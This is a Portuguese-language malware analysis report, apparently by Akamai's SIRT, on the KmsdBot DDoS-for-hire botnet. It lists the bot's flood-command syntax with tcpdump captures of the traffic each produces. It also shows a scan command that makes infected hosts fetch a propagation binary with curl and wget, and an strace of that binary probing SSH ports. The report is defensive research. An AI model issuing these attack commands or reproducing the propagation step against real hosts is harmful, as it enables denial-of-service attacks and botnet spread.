Emulação de comando e controle do KmsdBot e análise do seu tráfego de ataque
Edição e contribuições adicionais por Tricia Howard
Resumo executivo
Os pesquisadores da Akamai continuaram sua pesquisa sobre o KmsdBot, um botnet de criptomineração, e examinaram seu tráfego de ataque.
Devido aos inúmeros setores e regiões geográficas visados, acreditamos que o KmsdBot seja um ataque de negação de serviço distribuída (DDoS) por contratação.
Com base nos IPs e domínios observados, a maioria das vítimas está localizada na Ásia, América do Norte e Europa.
Dois alvos notáveis foram FiveM e RedM, modificadores de jogos do Grand Theft Auto V e do Red Dead Redemption 2, respectivamente, o que nos dá uma ideia dos clientes desse botnet.
Embora não seja possível confirmar as origens do botnet, há uma interessante falta de atividade nas regiões russas e vizinhas, o que pode apontar para o seu local de surgimento.
Introdução
Em novembro, um botnet de criptomineração foi identificado em um dos nossos honeypots. Nossa SIRT (Security Intelligence Response Team, equipe de resposta de inteligência de segurança) o analisou e chamou de KmsdBot. Ele infectou o honeypot depois de testar uma nova configuração e indicava algumas origens interessantes. Continuamos analisando e testando o KmsdBot, incluindo modificar o binário e direcioná-lo para o nosso próprio comando e controle (C2), o que nos levou a testemunhar o agente da ameaça inativar o botnet.
Como parte de nossa pesquisa contínua, decidimos documentar os diferentes comandos que o KmsdBot aceita e realmente implementa. O ambiente que estamos testando nos permite direcionar o C2 e enviar tráfego de ataque para hosts específicos, o que significa que podemos examinar o tráfego que foi enviado de diferentes comandos de ataque. Para referência, o bot tem ataques de Camada 4 e Camada 7 usando TCP, UDP, HTTP e HTTPS com solicitações GET e POST.
Análise inicial
Através da análise do malware, conseguimos encontrar algumas cadeias de comando procurando a instrução "mover absoluto" (Figura 1).
Fig. 1: uma lista parcial de strings de comando do botnet
Encontramos mais comandos observando outras instruções usadas para carregar dados nos registros. Desta vez, a instrução é "lea", ou "carregar endereço efetivo" (Figura 2). A partir daí, pudemos analisar as localizações de strings variáveis do servidor C2 (Figura 3).
Fig. 2: uma segunda lista parcial de comandos adicionais
Fig. 3: localização da string do servidor C2
Análise do tráfego de ataque
Com base nos tcpdumps de tráfego de ataque, alguns dos comandos disponíveis ainda não parecem estar implementados completamente, mas enviam um pacote padrão ou vazio. A maioria desses comandos não implementados é a versão TCP de um comando UDP em funcionamento. No entanto, para os comandos que funcionam, podemos observar alguns padrões de ataque exclusivos.
O primeiro ataque que se destaca se chama "bigdata" e envia solicitações POST de 1 MB para a porta especificada. O cabeçalho Content-Type indica que a carga é codificada por URL, mas, na inspeção, parece ser lixo eletrônico. O objetivo desse ataque é enviar grandes quantidades de dados no corpo de cada solicitação para aumentar a largura de banda que cada pacote exigirá para processar a solicitação. Essa é uma funcionalidade muito básica que quase todas as campanhas de DDoS usam, e é também uma das funcionalidades mais populares desse botnet com base em nossas observações.
!bigdata <target> 22 600 3
20:45:31.121974 IP <infected>.51214 > <target>.80: Flags [P.], seq 7241:14481, ack 1, win 502, options [nop,nop,TS val 931669114 ecr 1577041762], length 7240: HTTP
E..|..@.@.Y..*G..*G(...P.^.&.).O.....
.....
7.$z]..b18uSfkWchTJkErN0hFunGPegITykuWPbcVUI30GnUv8MGHSWRr0txvItdKFnUcKWCmftyrshUkDqNWgKqN1sHPlZUwSm2JQ3a8T0YCJsZZdIZ4ygppFITi6tGicpEM11paeEQcSmLPzCHY6VVN7Yd7zl58GShIvCVKdubLJBS64pvpYql5SWGZpv9TIOie9abaoY1h8NXy.
.
.
5Y29QAAzIKaiY9Nixq2IlfWn9iirDg9Bdhi4VPNFeff3QLoL5CEoOy0YPrEv4c6FiqrbmsbSiUpw4dVtYqOWZF1lLHtbXTPPlcZWTFlCmpvThwrNetuKdnYUpIVrINryurKdCfeLbNOM7oJ2duL33R7k2TXO2NvIqWdtBNd4PqboRthW0fxCcB5
Além de !bigdata, vemos !tcpbigdata e !udpbigdata. Esses comandos não enviam uma carga tão grande e são pacotes SYN e UDP, respectivamente. Sua função parece ser a mesma que o padrão bigdata, onde eles aumentam a pressão que esses pacotes colocam em um servidor aumentando o tamanho do pacote, mas também fornecem o controle de escolher o tráfego SYN e UDP.
Usando uma inundação SYN, o invasor pode tirar vantagem do handshake tridirecional usado no protocolo TCP para estabelecer uma conexão parcialmente aberta em muitas portas diferentes. Isso faz com que seja difícil para o servidor de destino lidar com a quantidade de tráfego e diferenciar entre solicitações de conexão legítimas e solicitações maliciosas. Os ataques UDP têm a vantagem de não precisar do handshake tridirecional, facilitando o ataque a um alvo porque há menos sobrecarga do lado do invasor. Se o alvo não classificar corretamente o limite, o ataque poderá ser eficaz com menos recursos.
!udpbigdata <target> 223 120
14:34:03.823443 IP <infected>.44790 > <target>.80: UDP, length 541
E..9c.@.@..R.*G..*G(...P.%.."..y.A.>.9..)S^2...c.R.G.i~i%....=t..}8MRuu(.'a.%.b..n.~....p.....v./....8..C...53*.v.."{.-...Xc.GG....5B....Y....I.., rC;.5C... .V`..A.....R..|.M..?.uLq/Je6~..O..w..........;.xH.K'..s.l>.p|..f.O..,Z..C...W.f.^..}@.y..a=.2l... j..w{J..7...z.L....A..Puv1.......s*@.\......~.3.....[:...............7rm...=........4.gR..%....[.t,7..M.0......_........O..~ )rTdW...X.-.Jw.(.8..D5Q..S....OC.oz..u8..8.e...E:i.X.....+c.
.........hA[{|;Y.R.d..r!.H..8....Y....$.w.......Uc..:!.X=.fC...1.Gn...[so..{N3&..h.3.....G...2...g..@.?...xGQ<..r..*...._.7T.j..
Havia também alguns comandos de tráfego POST e GET HTTP(S) padrão que se misturam com o tráfego padrão ao se assemelharem a um pacote normal, tanto em tamanho quanto em formato, em vez de se concentrar no impacto geral do tamanho do pacote único. O objetivo típico de ataques baseados em HTTP é um grande número de pacotes difíceis de classificar em atividade normal, dificultando a filtragem ao responder a um ataque. Como você pode ver abaixo, esses pacotes se assemelham a pacotes genéricos.
!post <target> 443 /fle/tracking 120 20 20 100
21:16:50.755007 IP <infected>.44466 > <target>.443: Flags [S], seq 203292974, win 64240, options [mss 1460,sackOK,TS val 933548747 ecr 0,nop,wscale 7], length 0
E..<..@.@....*G..*G(...........................
7...........
21:16:50.755031 IP <target>.443 > <infected>.44466: Flags [R.], seq 0, ack 203292975, win 0, length 0
E..(..@.@.T5.*G(.*G............/P....{..
!get <target> 443 /fle/tracking 30 20 20 100
21:24:23.088733 IP <infected>.48062 > <target>.443: Flags [S], seq 646433585, win 64240, options [mss 1460,sackOK,TS val 934001081 ecr 0,nop,wscale 7], length 0
E..<Ol@.@....*G..*G(....&..1...................
7...........
21:24:23.088751 IP <target>.443 > <infected>.48062: Flags [R.], seq 0, ack 646433586, win 0, length 0
Os comandos hex (!udphex e !tcphex) contêm uma pequena quantidade de conteúdo codificado em hexadecimal. Isso pode ocorrer porque alguns hosts exigem que o conteúdo seja codificado em hexadecimal para processar o comando, ou pode ser enviado com a intenção de fazer com que o servidor de destino tenha dificuldade para interpretar os dados.
!udphex <target> 80 80 30 250
21:04:06.915036 IP <infected>.32847 > <target>.80: UDP, length 31
E..;~.@.@..j.*G..*G(.O.P.'......\.j/.....R.u.a..6.J..1.:..$
Enquanto os comandos udphex/tcphex não se concentram no tamanho, os comandos tcphexclimb/udphexclimb parecem incorporar essa estratégia. Cada comando é enviado em um pacote. Com esses comandos, o tamanho do pacote começa pequeno, semelhante ao tráfego udphex e tcphex , mas aumenta à medida que mais pacotes são enviados. Depois de observar esse tráfego por algum tempo, podemos ver que depois de atingir um determinado tamanho de pacote especificado, ele voltará a um tamanho menor e crescerá novamente, repetindo esse processo continuamente.
!udphexclimb <target> 80 60 600
21:38:53.854411 IP <infected>.50706 > <target>.80: UDP, length 1
E...o2@.@....*G..*G(...P. ...
21:38:53.854482 IP <infected>.55293 > <target>.80: UDP, length 181
E.....@.@.os.*G..*G(...P...i............A.>.....;.\...,...R...Z......2.c.....RG.<.`.%9....z....4=.W.:..+.!WA..6j..t.<..m...O /.z3.......]w<.BX..D...Da....SV3ZC...../...x[g......).....D.vP9K7<.`.Sz.=U..3....`f.
21:38:53.867809 IP <infected>.46227 > <target>.80: UDP, length 541
E..9z.@.@....*G..*G(...P.%..em.D..'...A&./wb.
...1
....ESG.v.\S..5.....W.....J.C.>_a..{.B.........Z.......a........_{#nG%...SD.....x`q.p..^~......w@.&.~.&M..l.x.@.h..
...,....q0!......NN~......vf.}<Z.[...-.XS...%.......5......JP(>/...Z..t.........9.`..N*..o..T..z.....h ..F .-.....rat./.VQ.z.....C...}.....2..?`..H...ty.bd[.3.XN.ne.. ..e....r.|..Z'..!ge....]./s..,.{v.n..01.;..R[..~..o.Ze.tP.Rs..x.07fL.Fh.p.5.....I...4..YO..d....#.7Q03.)7.>.o...:T\naG//.....a."...e.g.(.ih.5@...c-...e.EEd..B.qM..}U./
..?H{......"<L>...#.....$.....>".X...!n........bPM.09....\6n.....0.
21:38:53.875122 IP <infected>.41308 > <target>.80: UDP, length 541
E..9.+@.@.w..*G..*G(.\.P.%......[..........:..tZn...812/...8.h5....6.,`....&..4.Un..H(....k.Sex.C.m.# ...].2b(........>.n.h.... .U....Y.[.UG.k.9..\l.."qe.76..lvkf..c...~.NrM..(m?<.F...>5/J9N...SK3.....1....G....)`...c..G..=...............:......#.n...........:..) .n.<. .....%..ja..|.P.(........h6.vEQ..sV.....z VSr....h....... ....1xO...1.C.{..NDX2...5,R}F.Sv.mm@....5...Ss..V.j~a..k9....".3..T&B.*......=....r.
..I.3.q.u.1.
..9t...+...D..?z.D...Lu...oA....%V....#+:...z..&.GVQ..{.......6.dQ.".x...(ch....\......%.. x.d.....U#........ ...f..u...%1..\m.A. .`:B....;....
Dois comandos específicos se destacaram porque parecem visar servidores de modding de videogame. Dissemos na primeira postagem que a primeira identificação do KmsdBot havia sido com FiveM. FiveM e RedM são plataformas de hospedagem de servidores modificados do "Grand Theft Auto V" e do "Red Dead Redemption 2", respectivamente, que permitem que os proprietários dos servidores criem regras diferentes e incorporem novas ideias ao servidor que não estavam presentes no jogo original.
A presença desses dois comandos corrobora a suspeita de que se trate de um malware em forma de DDoS contratado. Essa teoria também é sustentada pela ampla variedade de setores visados: jogos, marcas de luxo e até mesmo empresas de segurança.
!redm <target> 7777 / 10 10 10 100
21:39:42.156933 IP <infected>.32991 > <target>.80: UDP, length 1
E...u.@.@..o.*G..*G(...P. ...
21:39:42.159173 IP <infected>.51973 > <target>.80: UDP, length 1
E...f.@.@....*G..*G(...P. ..}
21:39:42.199900 IP <infected>.50248 > <target>.80: UDP, length 541
E..9..@.@.d[.*G..*G(.H.P.%..U.~.
'..K....h._ig.o..u+Z^....B+E.9.............../.......S.m.....:.....7.U..Ys)../..........i4#..P...?...D...2e.E....]wo...-.....$.
.FG"..(./..L. ....).......q.l[..R&..A..)._..U.9O..jK<./..W'gSL.."g
i....N.b.a.../...Jq.....S..... .e.e.b.-..<..Q.#.Nr.,u..!L....8.T..NN.. ....v.........b......2oz....Y.p...=#.0c.O..)...^.U.fOy..Y#.:V..U.!..4D.......b..i.....+.w....u...5.*..r.....(.u....!....cfZ...Lw.pY.p.......I.{T...)B..n...w.4_...q.3.9.L..2.X.f...f.....\t...^)...Y....'../Kl......Bm.,8@.......<.`CR....=
..1.`.....$#.9.Q..0.%~.. ..d...iw
21:39:42.208292 IP <infected>.60098 > <target>.80: UDP, length 1
E....A@.@....*G..*G(...P. …
Um comando muito peculiar desse botnet é o comando !scan . O recurso de varredura parece direcionar caminhos específicos dentro do ambiente de destino, realizar um handshake tridirecional e, em seguida, enviar uma solicitação PUSH curl e uma solicitação PUSH wget para eles. A varredura também parece executar dois binários diferentes, kumd e kmsd.
!scan <target> <target>/win/kzmds <target> kumd kmsd
15:57:58.460042 IP <infected>.51782 > <target>.80: Flags [S], seq 243112026, win 64240, options [mss 1460,sackOK,TS val 1864816453 ecr 0,nop,wscale 7], length 0
E..<..@.@..;.*G..*G(.F.P.}.Z...................
o&.E........
15:57:58.460085 IP <target>.80 > <infected>.51782: Flags [S.], seq 2021013353, ack 243112027, win 65160, options [mss 1460,sackOK,TS val 2510189102 ecr 1864816453,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.Fxv7i.}.[...............
..r.o&.E....
15:57:58.460097 IP <infected>.51782 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 0
E..4..@.@..B.*G..*G(.F.P.}.[xv7j...........
o&.E..r.
15:57:58.460281 IP <infected>.51782 > <target>.80: Flags [P.], seq 1:89, ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 88: HTTP: GET /x86_64/ksmdx HTTP/1.1
E.....@.@....*G..*G(.F.P.}.[xv7j...........
o&.E..r.GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: curl/7.86.0
Accept: */*
15:58:04.444745 IP <infected>.41264 > <target>.80: Flags [S], seq 148305932, win 64240, options [mss 1460,sackOK,TS val 1864822437 ecr 0,nop,wscale 7], length 0
E..<k3@.@....*G..*G(.0.P.......................
o&..........
15:58:04.444793 IP <target>.80 > <infected>.41264: Flags [S.], seq 3903795483, ack 148305933, win 65160, options [mss 1460,sackOK,TS val 2510195086 ecr 1864822437,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.0..1....................
....o&......
15:58:04.444807 IP <infected>.41264 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 0
E..4k4@.@....*G..*G(.0.P......1............
o&......
15:58:04.444992 IP <infected>.41264 > <target>.80: Flags [P.], seq 1:140, ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 139: HTTP: GET /x86_64/ksmdx HTTP/1.1
E...k5@.@..h.*G..*G(.0.P......1......L.....
o&......GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Observamos o kmsd executar '/x86_64/ksmdx' e tentamos usar esses parâmetros com o binário ksmdx para ver o que aconteceria. Ele começou a verificar IPs com a porta 22 aberta, corroborando a suspeita de que ela seja usada para procurar dispositivos adicionais para infectar e incorporar ao botnet.
strace -f ./ksmdx <target> <target>/win/kzmds <target> kumd kmsd
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 28
[pid 4554] connect(28, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("254.105.206.15")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 28, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497619288, u64=140327669114200}}) = 0
[pid 4554] epoll_ctl(4, EPOLL_CTL_DEL, 30, 0xc0001af594) = 0
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("227.46.34.129")}, 16) = -1 ENETUNREACH (Network is unreachable)
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("121.149.127.161")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 30, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497326296, u64=140327668821208}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1056
[pid 4554] connect(1056, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("252.117.241.5")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1056, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497346936, u64=140327668841848}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1057
[pid 4554] connect(1057, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("175.81.51.242")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1057, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497610168, u64=140327669105080}}^Cstrace: Process 4554 detached
<detached ...>
Regiões geográficas
Além dos comandos de ataque, conseguimos mapear os IPs e domínios de destino que observamos até localizações geográficas. Uma grande concentração de alvos estava localizada na Ásia, América do Norte e Europa com base nos IPs e domínios observados.
Também identificamos pouca atividade visando o território russo e territórios vizinhos, o que pode ser um indicador útil para determinar a verdadeira origem desses ataques. Na Figura 4, cada marcador indica pelo menos uma tentativa de ataque do KmsdBot.
Fig. 4: tentativas de infecção pelo KmsdBot
Monitoramento dos comandos C2
Alguns de nossos esforços iniciais se concentraram na observação da atividade proveniente do servidor C2. Começamos inserindo-nos no botnet como um host infectado e, em seguida, passamos a aguardar comandos de ataque vindos do servidor C2. Registramos esses comandos de ataque no Elastic, indicando os comandos, alvos, marcações de data e hora e outras variáveis observadas.
Isso nos permitiu não só ver quais recursos de ataque estavam sendo usados, mas também nos deu uma ideia da propagação das vítimas e exatamente o uso destinado de cada comando. Por meio desse processo, conseguimos extrair estes 18 comandos:
post
post1
get
get1
bigdata
fivem
getrand
redm
tcp
tcpbigdata
tcpclimb
tcphex
tcphexclimb
udp
udpbigdata
udphex
udphexclimb
Verificação
Imediatamente, o que nos chamou a atenção ao olhar para os nomes desses comandos foi a especificidade de alguns deles e a variedade geral compatível. No caso de "bigdata", vimos que ele não só é oferecido como um recurso independente, mas também como uma versão específica de TCP e como uma versão específica de UDP. A maioria dos outros comandos é oferecida de maneira semelhante.
Além disso, uma descoberta importante é um conjunto de comandos que visam servidores de jogos específicos: "fivem" e "redm". A presença desses comandos é compatível com observações anteriores de servidores de jogos visados e dá uma perspectiva dos clientes desse botnet contratado.
Na Figura 5, você pode ver o detalhamento dos comandos de ataque observados ao longo de 30 dias, bem como a frequência com que os vimos.
Fig. 5: os comandos mais utilizados do botnet, e suas frequências, observados ao longo de 30 dias
Os comandos "bigdata" e "get" lideram o pacote com mais de 70 comandos, provavelmente porque são os ataques genéricos mais fortes. O terceiro ataque mais frequente, "fivem", traz aproximadamente 45 chamadas. Isso nos diz que, embora os servidores de jogos sejam um alvo específico oferecido, pode não ser o único setor que está sendo atingido com esses ataques.
O comando FiveM ainda é muito usado, e até mesmo o RedM ainda é usado, mas a frequência de penetração de comandos nos leva a concluir que o portfólio de vítimas é muito diversificado. A compatibilidade com vários tipos de servidores aumenta a usabilidade geral desse botnet e parece ser eficaz no impulsionamento de clientes.
Conclusão
Quando começamos a analisar o KmsdBot pela primeira vez, ele nos chamou a atenção por algumas razões específicas: Ele foi escrito em Go, tinha funcionalidade de criptomineração e alvos aparentemente irregulares. Em análises adicionais, as evidências indicam tratar-se de um ataque de DDoS contratado, o que explicaria muitos dos fatos interessantes sobre ele.
Uma das metas da SIRT da Akamai é dissecar e documentar a evolução de botnets, como o KmsdBot, e informar o público sobre o que observamos. O KmsdBot condiz com algumas das tendências que temos visto em geral, especificamente a linguagem na qual está escrito.
Está se tornando cada vez mais comum desenvolver código mal-intencionado em diferentes linguagens, como Go e até mesmo Python compilado. A SIRT continuará monitorando o cenário de ameaças à medida que ele se desenvolve.